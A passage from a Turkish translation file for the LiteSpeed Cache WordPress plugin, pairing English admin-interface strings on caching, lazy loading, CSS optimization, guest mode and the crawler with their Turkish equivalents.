Optimization'=>'Optimizasyondan Önce Siteyi Görüntüle','Debug Helpers'=>'Hata Ayıklama Yardımcıları','Enable Viewport Images auto generation cron.'=>'Viewport Görüntüleri otomatik oluşturma cron\'unu etkinleştirin.','This enables the page\'s initial screenful of imagery to be fully displayed without delay.'=>'Bu, sayfanın ilk ekran dolusu görüntüsünün gecikme olmaksızın tamamen görüntülenmesini sağlar.','The Viewport Images service detects which images appear above the fold, and excludes them from lazy load.'=>'Viewport Images hizmeti, hangi görüntülerin katlamanın üstünde göründüğünü algılar ve bunları tembel yüklemenin dışında tutar.','When you use Lazy Load, it will delay the loading of all images on a page.'=>'Lazy Load kullandığınızda, bir sayfadaki tüm resimlerin yüklenmesi geciktirilir.','Use %1$s to bypass remote image dimension check when %2$s is ON.'=>'%2$s AÇIK olduğunda uzak görüntü boyutu kontrolünü atlamak için %1$s kullanın.','VPI'=>'VPI','%s must be turned ON for this setting to work.'=>'Bu ayarın çalışması için %s\'nin AÇIK olması gerekir.','Viewport Image'=>'Görünüm Alanı Görüntüsü','Please consider disabling the following detected plugins, as they may conflict with LiteSpeed Cache:'=>'LiteSpeed Cache ile çakışabilecekleri için lütfen aşağıda tespit edilen eklentileri devre dışı bırakmayı düşünün:','Mobile'=>'Mobil','Disable VPI'=>'VPI\'yı Etkisizleştir','Disable Image Lazyload'=>'Gecikmeli Görsel Yüklemeyi Etkisizleştir','Disable Cache'=>'Önbelleği Etkisizleştir','Debug String Excludes'=>'Hata Ayıklama Dizesi Hariç Tutulanlar','Viewport Images Cron'=>'Viewport Görüntüleri Cron','Viewport Images'=>'Görünüm Alanı Görüntüleri','Alias is in use by another QUIC.cloud account.'=>'Takma ad, başka bir QUIC.cloud hesabı tarafından kullanılıyor.','Unable to automatically add %1$s as a Domain Alias for main %2$s domain.'=>'%1$s ana %2$s etki alanı için Etki Alanı Diğer Adı olarak otomatik olarak eklenemiyor.','Unable to automatically add %1$s as a Domain Alias for main %2$s domain, due to potential CDN conflict.'=>'Olası CDN çakışması nedeniyle %1$s, ana %2$s etki alanı için Etki Alanı Diğer Adı olarak otomatik olarak eklenemiyor.','You cannot remove this DNS zone, because it is still in use. Please update the domain\'s nameservers, then try to delete this zone again, otherwise your site will become inaccessible.'=>'Bu DNS bölgesini kaldıramazsınız, çünkü hala kullanımda. Lütfen alan adının ad sunucularını güncelleyin, ardından bu bölgeyi tekrar silmeyi deneyin, aksi takdirde siteniz erişilemez hale gelecektir.','The site is not a valid alias on QUIC.cloud.'=>'Site QUIC.cloud\'da geçerli bir takma ad değil.','Please thoroughly test each JS file you add to ensure it functions as expected.'=>'Beklendiği gibi çalıştığından emin olmak için lütfen eklediğiniz her JS dosyasını iyice test edin.','Please thoroughly test all items in %s to ensure they function as expected.'=>'Lütfen beklendiği gibi çalıştıklarından emin olmak için %s içindeki tüm öğeleri iyice test edin.','Use %1$s to bypass UCSS for the pages which page type is %2$s.'=>'Sayfa türü %2$s olan sayfalarda UCSS\'yi atlamak için %1$s kullanın.','Use %1$s to generate one single UCSS for the pages which page type is %2$s while other page types still per URL.'=>'Sayfa türü %2$s olan sayfalar için tek bir UCSS oluşturmak için %1$s kullanın, diğer sayfa türleri hala URL başına.','Filter %s available for UCSS per page type generation.'=>'Sayfa türü oluşturma başına UCSS için %s filtresi kullanılabilir.','Guest Mode failed to test.'=>'Misafir Modu test edilemedi.','Guest Mode passed testing.'=>'Misafir Modu testi geçti.','Testing'=>'Test ediliyor','Guest Mode testing result'=>'Misafir Modu test sonucu','Not blocklisted'=>'Blok listesinde değil','Learn more about when this is needed'=>'Bunun ne zaman gerekli olduğu hakkında daha fazla bilgi edinin','Cleaned all localized resource entries.'=>'Tüm yerelleştirilmiş kaynak girişleri temizlendi.','View .htaccess'=>'.htaccess\'i görüntüleyin','You can use this code %1$s in %2$s to specify the htaccess file path.'=>'htaccess dosya yolunu belirtmek için %2$s içinde %1$s kodunu kullanabilirsiniz.','PHP Constant %s is supported.'=>'%s PHP sabiyi destekleniyor.','Default path is'=>'Varsayılan yol şu','.htaccess Path'=>'.htaccess yolu','Please read all warnings before enabling this option.'=>'Lütfen bu seçeneği etkinleştirmeden önce tüm uyarıları okuyun.','This will delete all generated unique CSS files'=>'Bu işlem oluşturulan tüm benzersiz (unique) CSS dosyalarını siler','In order to avoid an upgrade error, you must be using %1$s or later before you can upgrade to %2$s versions.'=>'Olası yükseltme hatalarını önlemek için %2$s sürümüne yükseltmeden önce %1$s veya daha yeni bir sürümü kullanıyor olmalısınız.','Use latest GitHub Dev/Master commit'=>'En son GitHub Dev/Master commitini kullan','Press the %s button to use the most recent GitHub commit. Master is for release candidate & Dev is for experimental testing.'=>'En son GitHub commitini kullanmak için %s düğmesine basın. Master sonraki sürüm adayı, Dev deneysel testler içindir.','Downgrade not recommended. May cause fatal error due to refactored code.'=>'Eski sürüme dönüş önerilmez. Yeniden düzenlenmiş kodlar nedeniyle önemli hatalara neden olabilir.','Only optimize pages for guest (not logged in) visitors. If turned this OFF, CSS/JS/CCSS files will be doubled by each user group.'=>'Sayfaları sadece misafir (giriş yapmamış) ziyaretçiler için optimize et. KAPALI hale getirilirse CSS/JS/CCSS dosyaları her kullanıcı grubu için ikiye katlanır.','Listed JS files or inline JS code will not be optimized by %s.'=>'Listelenmiş JS dosyaları veya satır içi JS kodları %s tarafından iyileştirilmeyecektir.','Listed URI will not generate UCSS.'=>'Listedeki URI\'ler için UCSS oluşturulmayacaktır.','The selector must exist in the CSS. Parent classes in the HTML will not work.'=>'Seçici CSS içerisinde yer almalıdır. HTML\'deki üst sınıflar (class) çalışmaz.','Wildcard %s supported.'=>'%s joker karakteri destekleniyor.','Useful for above-the-fold images causing CLS (a Core Web Vitals metric).'=>'İlk açılışta görüntülenen ve CLS\'e ( Bir Core Web Vitals metriğidir ) neden olan görseller için kullanışlıdır.','Set an explicit width and height on image elements to reduce layout shifts and improve CLS (a Core Web Vitals metric).'=>'Görünümde kaymaları azaltmak ve CLS\'yi (önemli web verileri metriği) iyileştirmek için görsel öğelerin genişlik ve yüksekliğini tam olarak belirleyin.','Changes to this setting do not apply to already-generated LQIPs. To regenerate existing LQIPs, please %s first from the admin bar menu.'=>'Bu ayarda yapılan değişiklikler zaten oluşturulmuş LQIP\'lere uygulanmaz. Var olan LQIP\'leri yeniden oluşturmak için lütfen önce yönetici çubuğu menüsünden şunu uygulayın: %s .','Deferring until page is parsed or delaying till interaction can help reduce resource contention and improve performance causing a lower FID (Core Web Vitals metric).'=>'Sayfa ayrıştırılana veya etkileşime hazır hale gelene kadar geciktirmek kaynak yükleme çatışmalarını engellemeye, performansı iyileştirerek daha düşük bir FID (Core Web Vital metriği) elde etmeye yardımcı olur.','Delayed'=>'Gecikmeli','JS error can be found from the developer console of browser by right clicking and choosing Inspect.'=>'JS hatası, sağ tıklayıp İnceleyi seçerek açılan tarayıcı geliştirici konsolundan bulunabilir.','This option may result in a JS error or layout issue on frontend pages with certain themes/plugins.'=>'Bu seçenek, belirli temalara/eklentilere sahip ön yüz sayfalarında JS hataları veya düzen sorunlarına neden olabilir.','This will also add a preconnect to Google Fonts to establish a connection earlier.'=>'Bu daha erken bağlantı sağlamak için Google Fonts\'a da bir ön bağlantı ekleyecektir.','Delay rendering off-screen HTML elements by its selector.'=>'Seçicisini kullanarak ekran dışı HTML öğelerinin işlenmesini erteleyin.','Disable this option to generate CCSS per Post Type instead of per page. This can save significant CCSS quota, however it may result in incorrect CSS styling if your site uses a page builder.'=>'CCSS\'i sayfalar için ayrı ayrı değil gönderi türüne göre oluşturmak için bu seçeneği devre dışı bırakın. Bu önemli miktarda CCSS kota tasarrufu sağlar, fakat sitenizde sayfa oluşturucu kullanılıyorsa hatalı CSS stillerine neden olabilir.','This option is bypassed due to %s option.'=>'Bu seçenek %s seçeneği nedeniyle atlandı.','Elements with attribute %s in HTML code will be excluded.'=>'HTML kodunda %s öz niteliğine sahip öğeler hariç tutulacaktır.','Use QUIC.cloud online service to generate critical CSS and load remaining CSS asynchronously.'=>'Kritik CSS oluşturmak ve kalan CSS\'i de asenkron olarak yüklemek için QUIC.cloud çevrimiçi hizmetini kullanın.','This option will automatically bypass %s option.'=>'Bu seçenek %s seçeneğini otomatik olarak atlar.','Inline UCSS to reduce the extra CSS file loading. This option will not be automatically turned on for %1$s pages. To use it on %1$s pages, please set it to ON.'=>'Satır içi UCSS ekstra CSS dosya yüklemelerini azaltır. Bu seçenek %1$s sayfaları için otomatik olarak açılmaz. %1$s sayfalarında kullanmak için AÇIK konuma getirin.','Run %s Queue Manually'=>'%s kuyruğunu elle çalıştır','This option is bypassed because %1$s option is %2$s.'=>'%1$s seçeneği %2$s olarak ayarlandığından bu seçenek atlandı.','Automatic generation of unique CSS is in the background via a cron-based queue.'=>'Cron-esaslı kuyrukla arka planda otomatik benzersiz CSS oluşturulması.','This will drop the unused CSS on each page from the combined file.'=>'Bu seçenek her sayfadaki kullanılmayan CSS\'i birleştirilmiş dosyadan çıkartır.','HTML Settings'=>'HTML Ayarları','LiteSpeed cache plugin upgraded. Please refresh the page to complete the configuration data upgrade.'=>'LiteSpeed cache eklentisi güncellendi. Veri yükseltmesi yapılandırmasını tamamlamak için sayfyayı yenileyin.','Listed IPs will be considered as Guest Mode visitors.'=>'Listedeki IP\'ler misafir modu ziyaretçileri olarak kabul edilecektir.','Listed User Agents will be considered as Guest Mode visitors.'=>'Listedeki tarayıcı kimlikleri misafir modu ziyaretçisi olarak kabul edilecektir.','This option can help to correct the cache vary for certain advanced mobile or tablet visitors.'=>'Bu seçenek, gelişmiş bazı mobil veya tablet ziyaretçileri için önbellekteki farklılıkları düzeltmeye yardımcı olacaktır.','Guest Mode provides an always cacheable landing page for an automated guest\'s first time visit, and then attempts to update cache varies via AJAX.'=>'Misafir Modu, otomatik bir misafirin ilk ziyareti için her zaman önbelleğe alınabilir bir açılış sayfası sağlar ve önbellekteki değişiklikleri AJAX üzerinden güncellemeyi dener.','Please make sure this IP is the correct one for visiting your site.'=>'Lütfen bu IP\'nin sitenizi ziyaret etmek için doğru ip olduğundan emin olun.','the auto-detected IP may not be accurate if you have an additional outgoing IP set, or you have multiple IPs configured on your server.'=>'dışarıya açılan ayrı bir IP kümeniz veya sunucunuzda yapılandırılmış birden çok IP varsa otomatik olarak algılanan IP doğru olmayabilir.','You need to turn %s on and finish all WebP generation to get maximum result.'=>'En iyi sonucu almak için %s açmanız ve WebP oluşturmayı tamamen bitirmeniz gerekir.','You need to turn %s on to get maximum result.'=>'En iyi sonucu almak için %s açmanız gerekir.','This option enables maximum optimization for Guest Mode visitors.'=>'Bu seçenek konuk modu ziyaretçileri için maksimum optimizasyon sağlar.','More'=>'Daha fazla','Remaining Daily Quota'=>'Kalan günlük kota','Successfully Crawled'=>'Başarıyla tarandı','Already Cached'=>'Zaten önbelleğe alınmış','The crawler will use your XML sitemap or sitemap index. Enter the full URL to your sitemap here.'=>'Tarayıcı XML site haritanızı veya site haritası dizininizi kullanır. Sitenizin tam URL\'sini buraya girin.','Optional when API token used.'=>'API belirteci kullanıldığında isteğe bağlıdır.','Recommended to generate the token from Cloudflare API token template "WordPress".'=>'Belirtecin "WordPress" Cloudflare API token şablonundan oluşturulması tavsiye edilir.','Global API Key / API Token'=>'Global API anahtarı / API belirteci (token)','Use external object cache functionality.'=>'Harici nesne önbelleği işlevselliğini kullanın.','Serve a separate cache copy for mobile visitors.'=>'Mobil ziyaretçiler önbelleği ayrı bir kopyadan sun.','By default, the My Account, Checkout, and Cart pages are automatically excluded from caching. Misconfiguration of page associations in WooCommerce settings may cause some pages to be erroneously excluded.'=>'Varsayılan olarak Hesabım, Ödeme ve Sepet sayfaları otomatik olarak önbellek dışında bırakılır. WooCommerce ayarlarında sayfa ilişkilendirmelerinin yanlış yapılandırılması bazı sayfaların hatalı bir şekilde hariç tutulmasına neden olabilir.','Cleaned all Unique CSS files.'=>'Tüm benzersiz CSS dosyaları temizlendi.','Add Missing Sizes'=>'Eksik boyutları ekle','Optimize for Guests Only'=>'Yalnızca konular için optimize et','Guest Mode JS Excludes'=>'Konuk Modunda hariç tutulan JS\'ler','CCSS Per URL'=>'URL bazlı CCSS','HTML Lazy Load Selectors'=>'HTML Lazy Load seçicileri','UCSS URI Excludes'=>'UCSS hariç tutulan URI\'ler','UCSS Inline'=>'Satır içi UCSS','Guest Optimization'=>'Konuk optimizasyonu','Guest Mode'=>'Konuk modu','Guest Mode IPs'=>'Konuk modu IP\'leri','Guest Mode User Agents'=>'Konuk modu tarayıcı kimlikleri','Online node needs to be redetected.'=>'Çevrimiçi düğümün yeniden tespiti gerekiyor.','The current server is under heavy load.'=>'Mevcut sunucu ağır yük altında.','Please see %s for more details.'=>'Daha fazla bilgi için lütfen %s inceleyin.','This setting will regenerate crawler list and clear the disabled list!'=>'Bu ayar tarayıcı listesini yeniden oluşturur ve devre dışı bırakılanlar listesini temizler!','%1$s %2$s files left in queue'=>'Srrada %1$s %2$s dosya kaldı','Crawler disabled list is cleared! All crawlers are set to active! '=>'Tarayıcı devre dışı bırakma listesi temizlendi! Tüm tarayıcılar etkin olarak ayarlandı! ','Redetected node'=>'Düğüm yeniden tespit edildi','No available Cloud Node after checked server load.'=>'Sunucu yükünü kontrol ettikten sonra kullanılabilir bulut düğümü bulunamadı.','Localization Files'=>'Yerelleştirme Dosyaları','Purged!'=>'Temizlendi!','Resources listed here will be copied and replaced with local URLs.'=>'Burada listelenen kaynaklar kopyalanacak ve yerel URL\'lerle değiştirilecektir.','Use latest GitHub Master commit'=>'En son GitHub Master commitini kullan','Use latest GitHub Dev commit'=>'En son GitHub Dev commitini kullan','No valid sitemap parsed for crawler.'=>'Tarayıcı için geçerli bir site haritası bulunamadı.','CSS Combine External and Inline'=>'Harici ve satır içi CSS birleştirme','Include external CSS and inline CSS in combined file when %1$s is also enabled. This option helps maintain the priorities of CSS, which should minimize potential errors caused by CSS Combine.'=>'%1$s etkinleştirildiğinde  birleştirilmiş dosya içine harici CSS ve satır içi CSS\'i dahil et. Bu seçenek CSS önceliklerini koruyarak CSS birleştirme nedeniyle oluşabilecek potansiyel hataları en aza indirir.','Minify CSS files and inline CSS code.'=>'CSS dosyalarını ve satır içi CSS\'i küçült.','Predefined list will also be combined w/ the above settings'=>'Önceden tanımlanmış liste yukarıdaki ayarlarla da birleştirilecektir','Localization'=>'Yerelleştirme','Include external JS and inline JS in combined file when %1$s is also enabled. This option helps maintain the priorities of JS execution, which should minimize potential errors caused by JS Combine.'=>'%1$s de etkinleştirildiğinde, harici ve satır içi JS\'leri birleştirilmiş dosyaya dahil et. Bu seçenek JS yürütme önceliklerini korur ve böylece JS birleştirme nedeniyle oluşabilecek potansiyel hataları en aza indirir.','Combine all local JS files into a single file.'=>'Tüm yerel JS dosyalarını tek bir dosyada birleştir.','Listed JS files or inline JS code will not be deferred or delayed.'=>'Listedeki JS dosyaları veya satır içi JS kodları ertelenmez.','JS Combine External and Inline'=>'Harici ve dış CSS\'i birleştirme','Dismiss'=>'Gizle','The latest data file is'=>'En son veri dosyası','The list will be merged with the predefined nonces in your local data file.'=>'Liste, yerel veri dosyanızdaki önceden tanımlanmış nonce anahtarları ile birleştirilir.','Combine CSS files and inline CSS code.'=>'CSS dosyaları ve satır içi CSS kodlarını birleştirin.','Minify JS files and inline JS codes.'=>'JS dosyaları ve satır içi JS kodlarını küçültün.','LQIP Excludes'=>'LQIP hariç tutmaları','These images will not generate LQIP.'=>'Bu görseller için LQIP oluşturulmayacak.','Are you sure you want to reset all settings back to the default settings?'=>'Tüm ayarları varsayılan ayarlara döndürmek istediğinizden emin misiniz?','This option will remove all %s tags from HTML.'=>'Bu seçenek, tüm %s etiketlerini HTML\'den kaldırır.','Are you sure you want to clear all cloud nodes?'=>'Tüm bulut düğümlerini temizlemek istediğinizden emin misiniz?','Remove Noscript Tags'=>'NoScript etiketlerini kaldır','The site is not registered on QUIC.cloud.'=>'Bu site QUIC.cloud\'da kayıtlı değil.','Click here to set.'=>'Ayarlamak için buraya tıklayın.','Localize Resources'=>'Kaynakları Yerelleştirin','Setting Up Custom Headers'=>'Özel başlık ayarları','This will delete all localized resources'=>'Bu, tüm yerelleştirilmiş kaynakları silecektir','Localized Resources'=>'Yerelleştirilmiş Kaynaklar','Comments are supported. Start a line with a %s to turn it into a comment line.'=>'Yorumlar desteklenmektedir. Yorum satırına dönüştürmek için bir satırı %s ile başlatın.','HTTPS sources only.'=>'Yalnızca HTTPS kaynakları.','Localize external resources.'=>'Harici kaynakları yerelleştirin.','Localization Settings'=>'Yerelleştirme Ayarları','Use QUIC.cloud online service to generate unique CSS.'=>'Benzersiz CSS oluşturmak için QUIC.cloud çevrimiçi hizmetini kullanın.','Generate UCSS'=>'UCSS oluştur','Unique CSS'=>'Benzersiz CSS','Purge the cache entries created by this plugin except for Critical CSS & Unique CSS & LQIP caches'=>'Kritik CSS & Benzersiz CSS & LQIP önbellekleri hariç bu eklenti tarafından oluşturulan önbelleği temizle','LiteSpeed Report'=>'LiteSpeed Raporu','Image Thumbnail Group Sizes'=>'Görsel küçük resmi grup boyutları','Ignore certain query strings when caching. (LSWS %s required)'=>'Önbelleğe alırken bazı query string\'leri görmezden gel (LSWS %s gereklidir)','For URLs with wildcards, there may be a delay in initiating scheduled purge.'=>'Zamanlanmış temizlemenin başlatılması joker karakterli URL\'ler için gecikebilir.','By design, this option may serve stale content. Do not enable this option, if that is not OK with you.'=>'Bu seçenek tasarımı gereği güncel olmayan içerik sunabilir. Bu sizin için uygun değilse bu seçeneği etkinleştirmeyin.','Serve Stale'=>'Güncel olmayan içeriği sun','One or more pulled images does not match with the notified image md5'=>'Çekilen bir ya da daha fazla görsel bildirilen görselin md5\'i ile uyuşmuyor','Some optimized image file(s) has expired and was cleared.'=>'Optimize edilmiş bazı görsellerin süresi doldu ve temizlendiler.','You have too many requested images, please try again in a few minutes.'=>'Çok fazla talep edilen görseliniz var, lütfen birkaç dakika sonra tekrar deneyin.','Pulled WebP image md5 does not match the notified WebP image md5.'=>'Çekilen WebP görseli md5\'i ile bildirilen WebP görseli md5\'i eşleşmiyor.','Read LiteSpeed Documentation'=>'LiteSpeed dokümantasyonunu okuyun','There is proceeding queue not pulled yet. Queue info: %s.'=>'Henüz çekilmemiş ve devam eden işlem kuyruğu var. Kuyruk bilgisi: %s.','Specify how long, in seconds, Gravatar files are cached.'=>'Gravatar dosyalarının önbellekte ne kadar tutulacağını saniye cinsinden belirtin.','Cleared %1$s invalid images.'=>'%1$s geçersiz görsel temizlendi.','LiteSpeed Cache General Settings'=>'LiteSpeed Cache genel ayarları','This will delete all cached Gravatar files'=>'Bu önbelleğe alınmış tüm Gravatar dosyalarını silecektir','Prevent any debug log of listed pages.'=>'Listedeki sayfaların hata ayıklama günlüklerini engelle.','Only log listed pages.'=>'Sadece listedeki sayfaların kayıtlarını tut.','Specify the maximum size of the log file.'=>'Azami günlük dosyası boyutunu belirtin.','To prevent filling up the disk, this setting should be OFF when everything is working.'=>'Disk alanının dolmasını önlemek için, bu seçenek her şey olağan çalışırken KAPALI tutulmalıdır.','Press the %s button to stop beta testing and go back to the current release from the WordPress Plugin Directory.'=>'Beta testini sonlandırmak ve WordPress eklenti dizinindeki geçerli sürüme geri dönmek için %s düğmesine basın.','Use latest WordPress release version'=>'En son WordPress sürümü için olan sürümü kullanın','OR'=>'VEYA','Use this section to switch plugin versions. To beta test a GitHub commit, enter the commit URL in the field below.'=>'Bu bölümü kullanarak eklenti sürümleri arasında geçiş yapın. Bir GitHub commitinin beta testini gerçekleştirmek için aşağıdaki alan commit URL\'sini yazın.','Reset Settings'=>'Ayarları sıfırla','LiteSpeed Cache Toolbox'=>'LiteSpeed Cache araç kutusu','Beta Test'=>'Beta Testi','Log View'=>'Günlük görünümü','Debug Settings'=>'Hata Ayıklama Ayarları','Turn ON to control heartbeat in backend editor.'=>'Yönetim paneli editöründe Heartbeat\'i kontrol etmek için AÇIK konumuna getirin.','Turn ON to control heartbeat on backend.'=>'Yönetim panelinde Heartbeat\'i kontrol etmek için AÇIK konumuna getirin.','Set to %1$s to forbid heartbeat on %2$s.'=>'%2$s \'de Hearbeat\'i yasaklamak için %1$s olarak ayarlayın.','WordPress valid interval is %s seconds.'=>'WordPress geçerli aralığı %s saniyedir.','Specify the %s heartbeat interval in seconds.'=>'%s heartbeat aralığını saniye cinsinden belirtin.','Turn ON to control heartbeat on frontend.'=>'Ön yüzde heartbeat\'i etkinleştirmek için AÇIK konumuna getirin.','Disable WordPress interval heartbeat to reduce server load.'=>'Sunucu yükünü azaltmak için WordPress heartbeat aralığını devreden çıkartın.','Heartbeat Control'=>'Heartbeat kontrolü','provide more information here to assist the LiteSpeed team with debugging.'=>'LiteSpeed ekibine hata ayıklamada yardımcı olmak için burada daha fazla bilgi verin.','Optional'=>'İsteğe bağlı','Generate Link for Current User'=>'Geçerli Kullanıcı için bağlantı oluştur','Passwordless Link'=>'Şifresiz bağlantı','System Information'=>'Sistem Bilgisi','Go to plugins list'=>'Eklentiler listesine git','Install DoLogin Security'=>'DoLogin Security yükleyin','Check my public IP from'=>'Şuradan açık IP\'imi kontrol et','Your server IP'=>'Sunucu IP\'niz','Enter this site\'s IP address to allow cloud services directly call IP instead of domain name. This eliminates the overhead of DNS and CDN lookups.'=>'Bulut hizmetlerinin bu siteye alan adı yerine doğrudan IP\'den ulaşabilmesi için site IP adresini girin. Bu, DNS ve CDN aramalarından kaynaklanan ek yükü ortadan kaldırır.','This will enable crawler cron.'=>'Bu tarayıcının cron işlerini etkinleştirecektir.','Crawler General Settings'=>'Tarayıcı genel ayarları','Remove from Blocklist'=>'Kara listeden kaldır','Empty blocklist'=>'Kara listeyi boşalt','Are you sure to delete all existing blocklist items?'=>'Mevcut tüm kara liste kayıtlarını silmek istediğinizden emin misiniz?','Blocklisted due to not cacheable'=>'Önbelleğe alınabilir olmadığı için kara listeye alındı','Add to Blocklist'=>'Kara listeye ekle','Operation'=>'İşlem','Sitemap Total'=>'Site haritası toplam','Sitemap List'=>'Site haritası listesi','Refresh Crawler Map'=>'Tarayıcı haritasını tazele','Clean Crawler Map'=>'Tarayıcı haritasını temizle','Blocklist'=>'Engelleme Listesi','Map'=>'Harita','Summary'=>'Özet','Cache Miss'=>'Önbellekte yoktu','Cache Hit'=>'Önbellekten geldi','Waiting to be Crawled'=>'Taranmayı bekliyor','Blocklisted'=>'Kara listede','Miss'=>'Önbellekte değildi','Hit'=>'Önbellekte','Waiting'=>'Bekliyor','Running'=>'Çalışan','Use %1$s in %2$s to indicate this cookie has not been set.'=>'Bu çerezin olmadığını belirtmek için %2$s içinde %1$s kullanın.','Add new cookie to simulate'=>'Simülasyon için yeni çerez ekleyin','Remove cookie simulation'=>'Çerez simülasyonunu kaldır','Htaccess rule is: %s'=>'Htaccess kuralı: %s','More settings available under %s menu'=>'%s menüsü içinde daha fazla ayar mevcuttur','The amount of time, in seconds, that files will be stored in browser cache before expiring.'=>'Bu dosyaların geçerlilikleri dolmadan önce tarayıcı ön belleğinde saklanacakları saniye cinsinden süre.','OpenLiteSpeed users please check this'=>'OpenLiteSpeed kullanıcıları lütfen buna göz atın','Browser Cache Settings'=>'Tarayıcı önbellek ayarları','Paths containing these strings will be forced to public cached regardless of no-cacheable settings.'=>'Bu metinleri içeren yollar, önbelleğe almama ayalarından bağımsız olarak önbelleğe alınması zorunlu hale getirilir.','With QUIC.cloud CDN enabled, you may still be seeing cache headers from your local server.'=>'QUIC.cloud CDN etkinken, sunucunuzun header bilgilerini önbellekten görmeye devam edebilirsiniz.','An optional second parameter may be used to specify cache control. Use a space to separate'=>'Önbellek denetimini belirtmek için isteğe bağlı ikinci bir parametre kullanılabilir. Ayırmak için boşluk kullanın','The above nonces will be converted to ESI automatically.'=>'Yukarıdaki nonce anahtarları otomatik olarak ESI\'ye dönüştürülür.','Browser'=>'Tarayıcı','Object'=>'Nesne','Default port for %1$s is %2$s.'=>'%1$s için varsayılan bağlantı noktası %2$s.','Object Cache Settings'=>'Nesne önbelleği ayarları','Specify an HTTP status code and the number of seconds to cache that page, separated by a space.'=>'Bu sayfayı önbelleğe almak için, boşlukla ayırarak bir HTTP durum kodu ve saniye cinsinden süre belirtin.','Specify how long, in seconds, the front page is cached.'=>'Ana sayfanın önbellekte ne kadar süreyle tutulacağını saniye cinsinden belirtin.','TTL'=>'TTL','If ON, the stale copy of a cached page will be shown to visitors until a new cache copy is available. Reduces the server load for following visits. If OFF, the page will be dynamically generated while visitors wait.'=>'AÇIKsa, ziyaretçileriniz yeni bir önbellek kopyası hazır olana kadar sayfanın önbellekteki eski kopyasını görecektir. Sonraki ziyaretler için sunucu yükünü azaltır. KAPALI ise ziyaretçi beklerken sayfa dinamik olarak oluşturulur.','Swap'=>'Değiştir','Set this to append %1$s to all %2$s rules before caching CSS to specify how fonts should be displayed while being downloaded.'=>'Bunu etkinleştirerek, CSS\'yi önbelleğe almadan önce tüm %2$s kurallarına %1$s eklenmesini sağlayın ve böylece yazı tiplerinin indirilirken nasıl görüntüleneceğini belirtin.','Avatar list in queue waiting for update'=>'Avatar listesi kuyrukta güncelleştirme bekliyor','Refresh Gravatar cache by cron.'=>'Gravatar önbelleğini cron ile yenileyin.','Accelerates the speed by caching Gravatar (Globally Recognized Avatars).'=>'Gravatarları (Globally Recognized Avatars) önbelleğe alarak hızı hızlandırır.','Store Gravatar locally.'=>'Gravatar\'ları yerel olarak saklayın.','Failed to create Avatar table. Please follow <a %s>Table Creation guidance from LiteSpeed Wiki</a> to finish setup.'=>'Avatar tablosu oluşturulamadı.Kurulum bitirmek için <a %s> LiteSpeed Wiki\'sindeki tablo oluşturma kılavuzunu</a> takip edin.','LQIP requests will not be sent for images where both width and height are smaller than these dimensions.'=>'Hem genişlik hem de yüksekliği bu boyutlardan daha küçük olan görseller için LQIP istekleri gönderilmez.','pixels'=>'piksel','Larger number will generate higher resolution quality placeholder, but will result in larger files which will increase page size and consume more points.'=>'Daha büyük sayılar daha yüksek çözünürlüklü yer tutucu oluşturur, ancak sayfa boyutunu artıracak ve daha puan tüketecek daha büyük dosyalara neden olurlar.','Specify the quality when generating LQIP.'=>'LQIP oluştururken kaliteyi belirtin.','Keep this off to use plain color placeholders.'=>'Düz renk yer tutucuları kullanmak için bunu kapalı tutun.','Use QUIC.cloud LQIP (Low Quality Image Placeholder) generator service for responsive image previews while loading.'=>'Yükleme sırasında responsif görsel ön izlemeleri oluşturmak için QUIC.cloud LQIP (Düşük Kaliteli Görüntü Yer Tutucu) oluşturma servisini kullanın.','Specify the responsive placeholder SVG color.'=>'Responsif yer tutucu SVG rengini belirtin.','Variables %s will be replaced with the configured background color.'=>'%s değişkenleri yapılandırılan renkle değiştirilecektir.','Variables %s will be replaced with the corresponding image properties.'=>'%s değişkenleri ilgili görsel özellikleri ile değiştirilecektir.','It will be converted to a base64 SVG placeholder on-the-fly.'=>'Anında base64 SVG yer tutucuya dönüştürülecektir.','Specify an SVG to be used as a placeholder when generating locally.'=>'Yerel olarak oluştururken kullanmak için bir SVG yer tutucu belirleyin.','Prevent any lazy load of listed pages.'=>'Listedeki sayfalarda geç yüklemeyi engelle.','Iframes having these parent class names will not be lazy loaded.'=>'Ana elemanları bu class isimlerine sahip Iframe çerçevelerinde \'lazy load\' kullanılmayacaktır.','Iframes containing these class names will not be lazy loaded.'=>'Bu class isimlerine sahip Iframe çerçevelerinde \'lazy load\' kullanılmayacaktır.','Images having these parent class names will not be lazy loaded.'=>'Ana elemanları bu class isimlerine sahip görsellerde \'lazy load\' kullanılmayacaktır.','LiteSpeed Cache Page Optimization'=>'Litespeed Cache sayfa optimizasyonu','Media Excludes'=>'Hariç tutulan medya','CSS Settings'=>'CSS ayarları','%s is recommended.'=>'%s önerilir.','Deferred'=>'Ertelendi','Default'=>'Varsayılan','This can improve the page loading speed.'=>'Bu sayfa yükleme sürelerini iyileştirebilir.','Automatically enable DNS prefetching for all URLs in the document, including images, CSS, JavaScript, and so forth.'=>'Görseller, CSS, Javascript vb. dahil olmak üzere dokümandaki tüm URL\'ler için DNS ön çözümlemesini otomatik olarak etkinleştir.','New developer version %s is available now.'=>'Yeni geliştirici sürümü %s artık kullanılabilir.','New Developer Version Available!'=>'Yeni geliştirici sürümü mevcut!','Dismiss this notice'=>'Uyarıyı görmezden gel','Tweet this'=>'Tweetle','Tweet preview'=>'Tweet ön izlemesi','Learn more'=>'Fazlasını Öğren','You just unlocked a promotion from QUIC.cloud!'=>'Az önce QUIC.cloud\'dan bir promosyonun kilidini açtınız!','The image compression quality setting of WordPress out of 100.'=>'100 üzerinden WordPress görsel sıkıştırma kalite ayarı.','Image Optimization Settings'=>'Görsel optimizasyon ayarları','Are you sure to destroy all optimized images?'=>'Tüm optimize edilmiş görselleri yok etmek istediğinize emin misiniz?','Use Optimized Files'=>'Optimize edilmiş dosyaları kullan','Switch back to using optimized images on your site'=>'Sitenizde optimize edilmiş görselleri kullanmaya devam edin','Use Original Files'=>'Orijinal dosyaları kullan','Use original images (unoptimized) on your site'=>'Sitenizde orijinal görselleri (optimize edilmemiş) kullanın','You can quickly switch between using original (unoptimized versions) and optimized image files. It will affect all images on your website, both regular and webp versions if available.'=>'Orijinal (optimize edilmemiş) veya optimize edilmiş görselleri kullanma seçenekleri arasında hızlıca geçiş yapabilirsiniz. Bu web sitenizdeki normal ve varsa webp sürümündeki tüm görselleri etkileyecektir.','Optimization Tools'=>'Optimizasyon araçları','Rescan New Thumbnails'=>'Yeni küçük resimleri tara','Congratulations, all gathered!'=>'Tebrikler, tümü alındı!','What is an image group?'=>'Bir görsel grubu nedir?','Delete all backups of the original images'=>'Orijinal görsellere ait tüm yedekleri sil','Calculate Backups Disk Space'=>'Yedek için kullanılan disk 